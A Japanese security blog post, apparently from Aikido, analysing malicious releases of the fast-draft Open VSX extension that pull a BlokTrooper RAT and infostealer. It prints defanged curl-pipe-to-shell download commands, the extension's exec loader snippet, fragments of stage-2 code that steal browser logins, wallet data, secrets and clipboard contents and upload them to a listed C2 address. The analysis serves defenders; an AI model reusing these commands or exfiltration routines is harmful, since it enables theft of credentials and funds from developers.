Aikido

fast-draft Open VSX拡張機能がBlokTrooperによって侵害される

執筆者
Raphael Silva

会社情報 KhangNghiem/ファストドラフト 拡張機能、掲載されている open-vsx.org/extension/KhangNghiem/fast-draft 現在、ダウンロード数は26,000件を超えているが、この拡張機能には複数の悪意のあるリリースが存在し、それらはGitHubでホストされているダウンローダーを実行し、BlokTrooper/extensionリポジトリから第2段階のRATおよび情報窃取型マルウェアをダウンロードする。調査したバージョン系列で確認された悪意のあるリリースは以下の通りである。 0.10.89, 0.10.105, 0.10.106、および 0.10.112.

このケースが特異なのは、悪意のあるリリースが連続して行われていない点です。バージョン 0.10.88 きれいに見える。 0.10.111 悪意のあるバージョンの間に位置しているにもかかわらず、これ自体はクリーンに見えるほか、2026年3月17日時点での最新のOpen VSXリリースも、 0.10.135, 同じローダーも含まれていません。このような交互に現れるパターンは、メンテナンス担当者が意図的にマルウェアを配布しているという説とは整合しにくいです。より妥当な説明としては、出版社が侵害されたか、トークンが盗まれたというケースが考えられます。

2026年3月17日現在、以下のURLにあるOpen VSXAPI open-vsx.api 一覧 0.10.135 を最新バージョンとしており、この拡張機能の総ダウンロード数は26,594回と報告されています。私たちは2026年3月12日、GitHubのイシューを通じてこの問題をメンテナンス担当者に報告しました。 github.com/khangnghiem/fast-draft/issues/565(執筆時点では、まだ公開されており、コメントは投稿されていませんでした。)

何が起きたのか

バージョン情報を順に追っていくと、その経緯がわかります:

  • 0.10.88: 見た目はクリーン。既知のダウンローダーの経路は確認されていない。
  • 0.10.89: 悪意のあるもの。エディタの初期化処理中に、GitHubでホストされているシェルダウンローダーを仕込む。
  • 0.10.105: 悪意のある動作。ローダーを起動時に実行されるように設定し、1回限りの保護機能を追加します。
  • 0.10.106: 悪意のあるもの。起動ローダーは同じだが、ガード機能が削除されている。
  • 0.10.111: すっきりとした見た目。既知のダウンローダーのパスが消える。
  • 0.10.112: 悪意のあるもの。スタートアップ・ダウンローダーが再登場。
  • 0.10.129-135: クリーンな状態。最新のチェック済みバージョンで、既知のダウンローダーは含まれていません。

これは、単一の侵害されたビルドや、完全に悪意ある行動に走ったメンテナーから予想されるリリースパターンではありません。むしろ、同じパブリッシャーIDを共有する2つの競合するリリースストリームのように見えます。

攻撃の手口

悪意のあるバージョンはすべて、同じ基本的な手口を使っています。つまり、この拡張機能が raw[.]githubusercontent[.]com/BlokTrooper/extension そして、その応答を直接シェルにパイプで渡します。

In 0.10.89この拡張機能は、リポジトリの `scripts/` ディレクトリからプラットフォーム固有のスクリプトを取得します:

curl hxxps://raw[.]githubusercontent[.]com/BlokTrooper/extension/refs/heads/main/scripts/linux.sh | sh
curl hxxps://raw[.]githubusercontent[.]com/BlokTrooper/extension/refs/heads/main/scripts/mac.sh | sh
curl hxxps://raw[.]githubusercontent[.]com/BlokTrooper/extension/refs/heads/main/scripts/windows.cmd | cmd

In 0.10.105, 0.10.106、および 0.10.112、同じアイデアが icons/${platform} フェッチ処理は拡張機能の起動と連動しており、おそらく何らかの検知を回避する目的もあったと考えられる。

その後、これらのプラットフォーム用スクリプトはZIPアーカイブをダウンロードし、一時ディレクトリに解凍した上で、難読化された一時ペイロードに対してバンドルされたNodeバイナリを実行します。このペイロードについては、別の分析記事ですでに詳細に検証済みです。これは無害なテスト用スタブなどではありません。このペイロードは、4つのモジュールを並行して展開します:

  • マウス、キーボード、スクリーンショット、クリップボードを制御するSocket.IO対応のRAT
  • 保存されたパスワード、Webデータ、および25種類の暗号資産ウォレット拡張機能を標的とする、ブラウザおよびウォレット情報窃取型マルウェア
  • ドキュメント、キー、設定ファイル、ソースコード、シークレット再帰的にアップロードするファイル流出モジュール
  • クリップボードを監視し、コピーされた内容をC2に送信するツール

このインフラストラクチャは、以前デオブファスケーティングを行ったのと同じBlokTrooper/エクステンションチェーンであり、設定値は以下のように解決されます。 195.201.104.53、およびアクティブなポート 6931, 6936、および 6939.

決定的な証拠

悪意のある 0.10.112 ビルドにより、起動時のアクティベーションとGitHubのRawダウンロード機能が復元されます:

const fileName = platform === "win32" ? " | cmd" : " | sh";
const cdnUrl = `curl ${protocol}${separator}${host}${path2}${fileName}`;
(0, import_child_process.exec)(cdnUrl, (error, responses) => {...

最新のチェック済みクリーンビルド、 0.10.135, 同じパスは表示されません。その起動ロジックではエディタプロバイダやその他の拡張機能の基盤部分が登録されていますが、BlokTrooperのダウンローダは含まれていません。

この違いは、静的スキャナーノイズ 一般的なノイズ よりも重要である。クリーンなビルドであっても、通常の実行プロセスやAIプロバイダーとの統合がバンドルされており、単純なルールでは不審なものと見なされる可能性があるため、このケースではバージョンごとの手動レビューが必要だった。

「セカンドステージ」の実際の役割

第2段階では、これが単なる不審なダウンローダーから、システムへの完全な侵害へと発展します。

外側の 一時的な このラッパーは、ハードコードされたIPオクテットからC2アドレスを再構築し、 process.on('uncaughtException', ()=>{})、そして4つの独立したNode子プロセスを生成し、 node -eつまり、この拡張機能は単にペイロードを取得するだけではありません。個別の並行ジョブへと展開される、小規模な攻撃フレームワークを取得するのです。

process.on(..., function(a7) {});
process.on(..., function(a7) {});
var Q = N.a;
var R = N.b;
var T = N.c;
var U = N.d;...
var a3 = ''.concat(Q, '.').concat(R, '.').concat(T, '.').concat(U);
var a4 = ''.concat(V, '.').concat(W, '.').concat(X, '.').concat(Y);
var a5 = ''.concat(V, '.').concat(W, '.').concat(X, '.').concat(Y);

これは、難読化が解除されたラッパーから直接得られたもので、オペレーターがIP文字列をプレーンテキストとして保存するのではなく、設定フィールドから再構築する際にクラッシュを隠蔽していることを示しています。

ab = ...;
M(..., ['-e', ab], {
    windowsHide: true,
    detached: true,
    stdio: ...
});
ac = ...;
M(..., ['-e', ac], {
    windowsHide: true,
    detached: true,
    stdio: ...
});
ad = ...;
M(..., ['-e', ad], {
    windowsHide: true,
    detached: true,
    stdio: ...
});
ae = ...;
M(..., ['-e', ae], {
    windowsHide: true,
    detached: true,
    stdio: ...
});

これがキーステージ2の制御ポイントです。1つのランチャースクリプトが4つの独立したインメモリモジュールを起動し、それらを分離することで、バックグラウンドで独立して実行し続けられるようにします。

モジュール 1: リモートデスクトップ RAT

最初の子プロセスは http://195[.]201[.]104[.]53:6931 Socket.IO 上に構築されており、完全なリモート制御チャネルを提供します。

以下のコマンドに対応しています:

  • マウスの動き、クリック、スクロール
  • キー入力およびキーの組み合わせ
  • JPEG圧縮されたスクリーンショット
  • クリップボードの読み書き
  • 画面サイズの照会
  • システムのプロファイリングとセッション制御

ZIPファイルに同梱されている依存関係セットは、これらの機能と完全に一致しています:

"node_modules/@nut-tree-fork/nut-js": {
    "version": "4.2.6"
}, "node_modules/clipboardy": {
    "version": "5.3.1"
}, "node_modules/screenshot-desktop": {
    "version": "1.15.3"
}, "node_modules/sharp": {
    "version": "0.34.5"
}, "node_modules/socket.io-client": {
    "version": "4.8.3"
}

依存関係 だけでは、悪意のある動作を証明するには不依存関係 。しかし、今回のケースでは、それらがすでに難読化が解除されたモジュールの構成と一致しているため、重要な意味を持ちます。具体的には、Socket.IO によるリモートタスク処理、デスクトップのキャプチャ、画像処理、クリップボードへのアクセス、そしてキーボードとマウスの完全な自動化などが挙げられます。

また、ペイロードは、次のような文字列を検索することで、VM内で実行されているかどうかを確認します。 VMware, VirtualBox, qemu, KVM、および xen プラットフォーム固有のシステム情報において。VMが見つかった場合でも処理は停止しません。単にホストにラベルを付けて処理を続行します。また、 ~/.npm/ そのため、同じマシン上に複数のインスタンスが重複して配置されることはありません。

モジュール2:ブラウザとウォレットの盗難

2番目の子プロセスは、macOS、Linux、およびWindows上で、Chrome、Edge、Brave、Opera、LT Browserのブラウザプロファイルをスキャンします。各プロファイルについて、以下の情報を盗み出します:

  • ログイン情報
  • アカウントのログイン情報
  • Webデータ
  • ウォレット拡張機能からのLevelDBの状態

標的とされるウォレットの範囲は広く、単なる偶然ではありません。ハードコードされたリストには、MetaMask、Phantom、TronLink、Trust Wallet、Coinbase Wallet、OKX、Solflare、Rabby、Keplr、UniSat、Enkrypt、Bitget、SafePal、TON Wallet、Petra、Pontem、Nami、Sender、Slope、Halo、CoinStatsなどが含まれています。macOSでは、さらに ~/Library/Keychains/login.keychain.

データは以下の場所に一時的に格納されています ~/npm-cache/__tmp__/cldbs/ そして、以下にアップロードされました http://195[.]201[.]104[.]53:6936/upload. 最初のスキャン終了後、このスティーラーはおよそ100秒ごとに新しいLevelDBファイルの有無をポーリングし続けます。つまり、これは単なる一過性の強奪を行うのではなく、時間の経過に伴うウォレットの状態の変化を捕捉するように設計されているのです。

ステージ2の新たなデコード解析により、ブラウザ情報窃取モジュールの構造がより明確になりました。このモジュールは、ウォレット拡張機能のIDをハードコードし、ブラウザのプロファイルデータ、ログインデータベース、およびLevelDBで管理される拡張機能の状態を順次処理しています:

const wps = ["nkbihfbeogaeaoehlefnkodbefgpgknn", "bfnaelmomeimhlpmgjnjophhpkkoljpa", "aeachknmefphepccionboohckonoeemg", "jblndlipeogpafnldhgmapagcccfchpi"];
await c[z(0x238)](uf, g + '/' + j + z(0x241));
await c[z(0x22b)](uf, g + '/' + j + z(0x1ee));
await c[z(0x1d6)](uf, g + '/' + j + z(0x208));
for (let k of wps) {
    const l = g + '/' + j + z(0x248) + k;

同じデコード済みデータブロック内では、これらのパス定数は次のように解決されます /ログイン情報, /アカウントのログイン情報, /Webデータ、および /ローカル拡張機能の設定/一方、アップロード者は FormData, fs.createReadStream, /cldbs、および /アップロード.

const f = new FormData();
f.append(e[y(0x1fc)], fs[y(0x20e)](c));
const g = await axios[y(0x1e4)](uu, f, {
    headers: {
        ...f[y(0x239)](),
        path: d[y(0x1fb)](e[y(0x21a)], e[y(0x1ba)])
    }
});

モジュール3:文書および機密情報の盗難

3番目の子プロセスは、ホームディレクトリ(Windowsの場合はすべてのドライブ)を再帰的にスキャンし、機密ファイルを検索します。対象となるパターンには、以下のものが含まれます:

  • *.docx, *.xlsx, *.xls, *.csv, *.pdf, *.doc, *.odt, *.rtf
  • *.md, *.txt, *.js, *.ts, *.json, *.ini
  • *.env*, *.pem, *.secret
  • 一般的な画像形式

除外リストもまた、多くのことを物語っている。例えば、次のようなノイズの多いパスは除外されている。 node_modules, .git, dist、および 構築ですが、次のようなフォルダも明示的にスキップします .ウィンドサーフィン, .pearai, .claude, .cursor, .ブラウニー、および openzeppelin. これは、攻撃者が単にランダムなファイルを盗んでいるわけではないことを示唆している。彼らは、開発者のマシン、暗号関連ツール、AIを活用したコーディング環境が、特に価値の高い標的であることを把握しているのだ。

デコードされたファイル窃取用の文字列には、収集対象と除外対象の両方が明示されています:

const u = [".github", "*.env*", ".sqlite", "*.csv",, "*.pdf", ".zsh_history", ".ssh", ".pub-cache", ".vscode"];
"node_modules", ".brownie", "AppData", "*.docx", ".cursor", ".claude", "openzeppelin", ".windsurf"

これは、開発者向けワークステーション、ソースツリー、鍵素材、シェル履歴、および最新のコーディング環境における重要なローカル状態を対象に最適化されています。

モジュール4:クリップボードの監視

4番目の子プロセスは数秒おきにクリップボードを監視し、内容が安定するのを待ってから、それをC2に送信します。

  • macOSでは、以下を使用します pbpaste
  • Windowsでは、次のようにシェルに委譲します powershell -NoProfile -NonInteractive Get-Clipboard
  • Linuxでは、代わりに クリップボード風

変更されたクリップボードの内容は、 apiつまり、コピーされたシードフレーズ、パスワード、API 、復旧コードは、たとえディスクに書き込まれなくても、外部へ持ち出される可能性があるということです。

クリップボードモジュールのデコードされた文字列データは、非常に簡潔です:

"api","pbpaste","powershell -NoProfile -NonInteractive Get-Clipboard","child_process",「http://」

これらの文字列は、ステージ2のクリップボードコード内に並んでおり、難読化解除の過程で確認された以前の動作と一致しています。つまり、プラットフォーム固有のクリップボード収集が行われた後、オペレーターのロギングルートへ送信されるという流れです。

「クリーン・ギャップ」は重要だ

こうした「クリーンなバージョン」の存在こそが、この事例を単なる「拡張機能の不具合」ではなく、パブリッシャー側の妥協案として検討する価値があるものとしている。

手作業で確認しました 0.10.88, 0.10.111、および 0.10.129-135 悪意のあるビルドに含まれる具体的な指標については:

  • raw[.]githubusercontent[.].com/BlokTrooper
  • 起動ローダーで使用される fd.onlyOncePlease ガード
  • socket.io-client
  • /アップロード
  • /cldbs
  • pbpaste
  • クリップボードを取得

見た目がクリーンなバージョンには、そうした既知の指標は見られず、そのアクティベーションの流れは、ダウンローダーというよりは通常の拡張機能の登録のように見えた。これは特に、 0.10.111、これはまさに悪意のある 0.10.106 そして 0.10.112、そして~のために 0.10.135これは、現在最新のOpen VSXリリースです。

もしメンテナンス担当者が故意にマルウェアを配布していたのであれば、発見または修正が行われるまで、バージョン履歴は悪意のある状態のままであった可能性が高いでしょう。しかし実際には、公開された問題に対する回答がないまま、悪意のあるリリースが次々と登場しては消えていく様子が見られます。これは、公開権限の盗用や、リリース経路に対する何らかの侵害があったことを示唆しています。

侵害の痕跡

  • 拡張機能ID: KhangNghiem.fast-draft
  • 悪意のあるバージョン: 0.10.89, 0.10.105, 0.10.106, 0.10.112
  • ステージ1ホスト: raw[.]githubusercontent[.].com/BlokTrooper/extension
  • C2 IP: 195.201.104.53
  • ポート:6931、6936、6939
  • データ流出経路:/upload、/cldbs、api

共有:

https://www.aikido.dev/blog/fast-draft-open-vsx-bloktrooper

脅威ニュースをサブスクライブ

本日より無料で開始いただけます。

無料で始める
CC不要
4.7/5
誤検知にうんざりしていませんか?
10万人以上のユーザーと同様に Aikido をお試しください。
今すぐ始める
パーソナライズされたウォークスルーを受ける

10万以上のチームに信頼されています

今すぐ予約
アプリをスキャンして IDORs と実際の攻撃パスを検出します

10万以上のチームに信頼されています

スキャンを開始
AI がどのようにアプリをペンテストするかをご覧ください

10万以上のチームに信頼されています

テストを開始
リスクがあるかどうかを確認してください

依存関係 をチェックして、悪意のあるパッケージ依存関係

今すぐ始める

今すぐ、安全な環境へ。

コード、クラウド、ランタイムを1つの中央システムでセキュアに。
脆弱性を迅速に発見し、自動的に修正。

クレジットカードは不要です | スキャン結果は32秒で表示されます。